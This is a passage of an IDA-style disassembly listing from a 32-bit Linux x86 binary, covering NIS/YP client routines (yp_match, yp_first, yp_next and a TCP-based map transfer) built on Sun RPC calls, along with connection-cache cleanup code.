		mov	[esi+10Ah], dx
		mov	edx, [ebp+var_8]
		mov	[esi+10Ch], edx
		mov	dx, [ebp+var_4]
		mov	[esi+118h], dx
		add	esp, 8

loc_0_805D1FD:				; CODE XREF: sub_0_805CE84+1F9j
		mov	dword ptr [esi+128h], 2
		call	strcpy([esi+4],arg_0)

loc_0_805D217:				; CODE XREF: sub_0_805CE84+20Aj
		mov	edx, ds:dword_0_8069030
		shr	edx, 1Fh
		add	edx, ds:dword_0_8069030
		sar	edx, 1
		mov	[ebp+var_448], edx
		mov	[ebp+var_444], 0
		cmp	dword ptr [esi+120h], 0
		jz	short loc_0_805D254
		mov	edx, [esi+120h]
		mov	ecx, [edx+4]
		push	edx
		mov	edx, [ecx+10h]
		call	edx
		add	esp, 4

loc_0_805D254:				; CODE XREF: sub_0_805CE84+3BCj
		mov	dword ptr [esi+11Ch], 0FFFFFFFFh
		lea	edx, [esi+11Ch]
		push	edx
		push	[ebp+var_444]
		push	[ebp+var_448]
		push	2
		push	186A4h
		lea	edx, [esi+108h]
		push	edx
		call	sub_0_8064400
		mov	[esi+120h], eax
		add	esp, 18h
		test	eax, eax
		jnz	short loc_0_805D2A0
		mov	dword ptr [esi+128h], 0FFFFFFFFh
		jmp	loc_0_805CF96
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805D2A0:				; CODE XREF: sub_0_805CE84+40Bj
		call	fcntl2(*(esi+11ch),F_SETFD,1)
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_805D2C2
		call	perror('fcntl:	F_SETFD')

loc_0_805D2C2:				; CODE XREF: sub_0_805CE84+432j
		cmp	[ebp+var_44C], 0
		jz	short loc_0_805D2D9
		mov	edx, ds:dword_0_807EB94
		mov	[esi], edx
		mov	ds:dword_0_807EB94, esi

loc_0_805D2D9:				; CODE XREF: sub_0_805CE84+445j
		cmp	[ebp+arg_4], 0
		jz	short loc_0_805D2E4
		mov	edi, [ebp+arg_4]
		mov	[edi], esi

loc_0_805D2E4:				; CODE XREF: sub_0_805CE84+459j
		xor	eax, eax

loc_0_805D2E6:				; CODE XREF: sub_0_805CE84+AAj
					; sub_0_805CE84+2BBj ...
		lea	esp, [ebp+var_45C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805CE84	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805D2F4	proc near		; CODE XREF: sub_0_805D3A8+17Ep
					; sub_0_805D3A8+23Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+120h]
		mov	edx, [eax+4]
		push	eax
		mov	eax, [edx+10h]
		call	eax
		mov	dword ptr [ebx+120h], 0
		mov	dword ptr [ebx+11Ch], 0FFFFFFFFh
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805D2F4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805D328	proc near		; CODE XREF: .text:0805E0F2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	0
		push	eax
		call	sub_0_805CE84
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805D328	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+8]
		xor	esi, esi
		mov	ebx, ds:dword_0_807EB94
		test	ebx, ebx
		jz	short loc_0_805D39C
		lea	esi, [esi+0]

loc_0_805D354:				; CODE XREF: .text:0805D39Aj
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_0_8057ADC
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_805D394
		mov	eax, [ebx+120h]
		mov	edx, [eax+4]
		push	eax
		mov	eax, [edx+10h]
		call	eax
		add	esp, 4
		test	esi, esi
		jz	short loc_0_805D384
		mov	eax, [ebx]
		mov	[esi], eax
		jmp	short loc_0_805D38B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D384:				; CODE XREF: .text:0805D379j
		mov	eax, [ebx]
		mov	ds:dword_0_807EB94, eax

loc_0_805D38B:				; CODE XREF: .text:0805D37Fj
		call	free(ebx)
		jmp	short loc_0_805D39C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D394:				; CODE XREF: .text:0805D363j
		mov	esi, ebx
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_0_805D354

loc_0_805D39C:				; CODE XREF: .text:0805D34Fj
					; .text:0805D391j
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805D3A8	proc near		; CODE XREF: sub_0_804C9E4+53p

var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_0_805D3E8
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_0_805D3E8
		cmp	[ebp+arg_4], 0
		jz	short loc_0_805D3E8
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jz	short loc_0_805D3E8
		cmp	[ebp+arg_8], 0
		jz	short loc_0_805D3E8
		cmp	[ebp+arg_C], 0
		jz	short loc_0_805D3E8
		mov	esi, [ebp+arg_8]
		cmp	byte ptr [esi],	0
		jnz	short loc_0_805D3F4

loc_0_805D3E8:				; CODE XREF: sub_0_805D3A8+14j
					; sub_0_805D3A8+1Cj ...
		mov	eax, 1
		jmp	loc_0_805D5EE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D3F4:				; CODE XREF: sub_0_805D3A8+3Ej
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0

loc_0_805D406:				; CODE XREF: sub_0_805D3A8+192j
		lea	edx, [ebp+var_20]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_0_805CE84
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	loc_0_805D5EE
		mov	esi, [ebp+arg_0]
		push	esi
		push	offset byte_0_807E358
		call	sub_0_8057ADC
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_805D4A0
		lea	edx, [ebp+var_4]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		mov	esi, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_0_805CDF0
		add	esp, 14h
		test	eax, eax
		jz	short loc_0_805D4A0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		call	malloc([esi]+2)
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		call	memmove2(var_8,eax,[esi])
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		xor	eax, eax
		jmp	loc_0_805D5EE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D4A0:				; CODE XREF: sub_0_805D3A8+8Bj
					; sub_0_805D3A8+ABj
		mov	esi, ds:dword_0_8069030
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_18], esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_14], esi
		mov	esi, [ebp+arg_C]
		mov	[ebp+var_10], esi
		push	0Ch
		lea	ebx, [ebp+var_C]
		push	ebx
		call	sub_0_806626C
		mov	edx, [ebp+var_20]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	ebx
		push	offset sub_0_80665A0
		lea	edx, [ebp+var_1C]
		push	edx
		push	offset sub_0_8066514
		push	3
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_0_805D54C
		push	offset aYp_matchClnt_c ; "yp_match: clnt_call"
		mov	edx, [ebp+var_20]
		mov	edx, [edx+120h]
		push	edx
		call	sub_0_8063894
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_0_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_24]
		inc	[ebp+var_24]
		cmp	ds:dword_0_8069034, edx
		jg	loc_0_805D406
		mov	eax, 2
		jmp	loc_0_805D5EE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D54C:				; CODE XREF: sub_0_805D3A8+15Aj
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_0_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_0_805D5D5
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		call	malloc([esi]+2)
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		call	memmove2(var_8,eax,[esi])
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	esi, [ebp+arg_0]
		push	esi
		push	offset byte_0_807E358
		call	sub_0_8057ADC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_0_805D5D5
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		push	edx
		mov	esi, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_0_805CCB0
		add	esp, 14h

loc_0_805D5D5:				; CODE XREF: sub_0_805D3A8+1B4j
					; sub_0_805D3A8+20Bj
		lea	edx, [ebp+var_C]
		push	edx
		push	offset sub_0_80665A0
		call	sub_0_8064E74
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_0_805D2F4
		mov	eax, ebx

loc_0_805D5EE:				; CODE XREF: sub_0_805D3A8+45j
					; sub_0_805D3A8+72j ...
		lea	esp, [ebp+var_38]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805D3A8	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805D5F8	proc near		; CODE XREF: sub_0_804C9E4+1Dp
					; .text:0805E0C1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [ebx], 0
		cmp	ds:byte_0_807E358, 0
		jnz	short loc_0_805D628
		push	40h
		push	offset byte_0_807E358
		call	sub_0_8065C84
		test	eax, eax
		jz	short loc_0_805D628
		mov	eax, 0Ch
		jmp	short loc_0_805D630
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D628:				; CODE XREF: sub_0_805D5F8+14j
					; sub_0_805D5F8+24j
		mov	dword ptr [ebx], offset	byte_0_807E358
		xor	eax, eax

loc_0_805D630:				; CODE XREF: sub_0_805D5F8+2Bj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805D5F8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805D638	proc near		; CODE XREF: sub_0_804C9E4+82p

var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_24], 0
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_8]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_C]
		mov	dword ptr [esi], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_0_805D688
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_0_805D688
		cmp	[ebp+arg_4], 0
		jz	short loc_0_805D688
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jnz	short loc_0_805D694

loc_0_805D688:				; CODE XREF: sub_0_805D638+38j
					; sub_0_805D638+40j ...
		mov	eax, 1
		jmp	loc_0_805D80A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D694:				; CODE XREF: sub_0_805D638+4Ej
					; sub_0_805D638+10Aj
		lea	edx, [ebp+var_18]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_0_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805D6B4
		mov	eax, 3
		jmp	loc_0_805D80A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D6B4:				; CODE XREF: sub_0_805D638+6Ej
		mov	esi, ds:dword_0_8069030
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1C], esi
		push	14h
		lea	ebx, [ebp+var_14]
		push	ebx
		call	sub_0_806626C
		mov	edx, [ebp+var_18]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	ebx
		push	offset sub_0_80665DC
		lea	edx, [ebp+var_20]
		push	edx
		push	offset sub_0_8066564
		push	4
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_0_805D754
		push	offset aYp_firstClnt_c ; "yp_first: clnt_call"
		mov	edx, [ebp+var_18]
		mov	edx, [edx+120h]
		push	edx
		call	sub_0_8063894
		mov	edx, [ebp+var_18]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_0_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_24]
		inc	[ebp+var_24]
		cmp	ds:dword_0_8069034, edx
		jg	loc_0_805D694
		mov	eax, 2
		jmp	loc_0_805D80A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D754:				; CODE XREF: sub_0_805D638+D2j
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_0_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_0_805D7F1
		mov	edx, [ebp+var_C]
		mov	esi, [ebp+arg_C]
		mov	[esi], edx
		call	malloc([esi]+2)
		mov	esi, [ebp+arg_8]
		mov	[esi], eax
		mov	esi, [ebp+arg_C]
		call	memmove2(var_10,eax,[esi])
		mov	esi, [ebp+arg_8]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_C]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_8]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		call	malloc([esi+2])
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		call	memmove2(var_8,eax,[esi])
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		add	esp, 20h

loc_0_805D7F1:				; CODE XREF: sub_0_805D638+12Cj
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_0_80665DC
		call	sub_0_8064E74
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_0_805D2F4
		mov	eax, ebx

loc_0_805D80A:				; CODE XREF: sub_0_805D638+55j
					; sub_0_805D638+75j ...
		lea	esp, [ebp+var_38]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805D638	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805D814	proc near		; CODE XREF: sub_0_804C9E4+C1p

var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_2C], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_0_805D854
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_0_805D854
		cmp	[ebp+arg_4], 0
		jz	short loc_0_805D854
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jz	short loc_0_805D854
		cmp	[ebp+arg_8], 0
		jz	short loc_0_805D854
		cmp	[ebp+arg_C], 0
		jz	short loc_0_805D854
		mov	esi, [ebp+arg_8]
		cmp	byte ptr [esi],	0
		jnz	short loc_0_805D860

loc_0_805D854:				; CODE XREF: sub_0_805D814+14j
					; sub_0_805D814+1Cj ...
		mov	eax, 1
		jmp	loc_0_805DA06
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D860:				; CODE XREF: sub_0_805D814+3Ej
		mov	esi, [ebp+arg_18]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_1C]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0

loc_0_805D884:				; CODE XREF: sub_0_805D814+12Aj
		lea	edx, [ebp+var_28]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_0_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805D8A4
		mov	eax, 3
		jmp	loc_0_805DA06
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D8A4:				; CODE XREF: sub_0_805D814+82j
		mov	esi, ds:dword_0_8069030
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_24], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_1C], esi
		mov	esi, [ebp+arg_C]
		mov	[ebp+var_18], esi
		push	14h
		lea	ebx, [ebp+var_14]
		push	ebx
		call	sub_0_806626C
		mov	edx, [ebp+var_28]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_30]
		push	[ebp+var_34]
		push	ebx
		push	offset sub_0_80665DC
		lea	edx, [ebp+var_24]
		push	edx
		push	offset sub_0_8066514
		push	5
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_0_805D950
		push	offset aYp_nextClnt_ca ; "yp_next: clnt_call"
		mov	edx, [ebp+var_28]
		mov	edx, [edx+120h]
		push	edx
		call	sub_0_8063894
		mov	edx, [ebp+var_28]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_0_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		inc	[ebp+var_2C]
		cmp	ds:dword_0_8069034, edx
		jg	loc_0_805D884
		mov	eax, 2
		jmp	loc_0_805DA06
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D950:				; CODE XREF: sub_0_805D814+F2j
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_0_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_0_805D9ED
		mov	edx, [ebp+var_C]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		call	malloc([esi]+2)
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		call	memmove2(var_10,eax,[esi])
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_1C]
		mov	[esi], edx
		call	malloc([esi]+2)
		mov	esi, [ebp+arg_18]
		mov	[esi], eax
		mov	esi, [ebp+arg_1C]
		call	memmove2(var_8,eax,[esi])
		mov	esi, [ebp+arg_18]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_1C]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_18]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		add	esp, 20h

loc_0_805D9ED:				; CODE XREF: sub_0_805D814+14Cj
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_0_80665DC
		call	sub_0_8064E74
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_0_805D2F4
		mov	eax, ebx

loc_0_805DA06:				; CODE XREF: sub_0_805D814+45j
					; sub_0_805D814+89j ...
		lea	esp, [ebp+var_40]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805D814	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		test	ebx, ebx
		jz	short loc_0_805DA33
		cmp	byte ptr [ebx],	0
		jz	short loc_0_805DA33
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_0_805DA33
		mov	edi, [ebp+0Ch]
		cmp	byte ptr [edi],	0
		jnz	short loc_0_805DA40

loc_0_805DA33:				; CODE XREF: .text:0805DA1Ej
					; .text:0805DA23j ...
		mov	eax, 1
		jmp	loc_0_805DB49
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DA40:				; CODE XREF: .text:0805DA31j
		lea	edx, [ebp-14h]
		push	edx
		push	ebx
		call	sub_0_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805DA5C
		mov	eax, 3
		jmp	loc_0_805DB49
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DA5C:				; CODE XREF: .text:0805DA4Fj
		mov	edi, ds:dword_0_8069030
		mov	[ebp-2Ch], edi
		mov	dword ptr [ebp-28h], 0
		mov	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	ecx, [ebp-14h]
		mov	edx, [ecx+108h]
		mov	[ebp-10h], edx
		mov	edx, [ecx+10Ch]
		mov	[ebp-0Ch], edx
		mov	edx, [ecx+110h]
		mov	[ebp-8], edx
		mov	edx, [ecx+114h]
		mov	[ebp-4], edx
		mov	word ptr [ebp-0Eh], 0
		push	0
		push	0
		lea	edx, [ebp-18h]
		push	edx
		push	2
		push	186A4h
		lea	edx, [ebp-10h]
		push	edx
		call	sub_0_8063B04
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_0_805DAD4
		call	perror('clnttcp_create failed')
		mov	eax, 9
		jmp	short loc_0_805DB49
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805DAD4:				; CODE XREF: .text:0805DABFj
		mov	[ebp-20h], ebx
		mov	edi, [ebp+0Ch]
		mov	[ebp-1Ch], edi
		mov	edi, [ebp+10h]
		mov	edx, [edi]
		mov	ds:dword_0_807EB90, edx
		mov	edx, [edi+4]
		mov	ds:dword_0_807EB8C, edx
		mov	ecx, [esi+4]
		push	dword ptr [ebp-28h]
		push	dword ptr [ebp-2Ch]
		lea	ebx, [ebp-24h]
		push	ebx
		push	offset sub_0_80668AC
		lea	edx, [ebp-20h]
		push	edx
		push	offset sub_0_8066564
		push	8
		push	esi
		mov	edx, [ecx]
		call	edx
		add	esp, 20h
		mov	edx, [esi+4]
		push	esi
		mov	edx, [edx+10h]
		call	edx
		push	ebx
		push	offset sub_0_80668AC
		call	sub_0_8064E74
		mov	edx, [ebp-14h]
		push	edx
		call	sub_0_805D2F4
		add	esp, 10h
		cmp	dword ptr [ebp-24h], 0
		jnz	short loc_0_805DB40
		xor	eax, eax
		jmp	short loc_0_805DB49
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805DB40:				; CODE XREF: .text:0805DB3Aj
		mov	edx, [ebp-24h]
		push	edx
		call	sub_0_805DFE0

loc_0_805DB49:				; CODE XREF: .text:0805DA38j
					; .text:0805DA56j ...
		lea	esp, [ebp-38h]
		pop	ebx
		pop	esi
		pop	edi
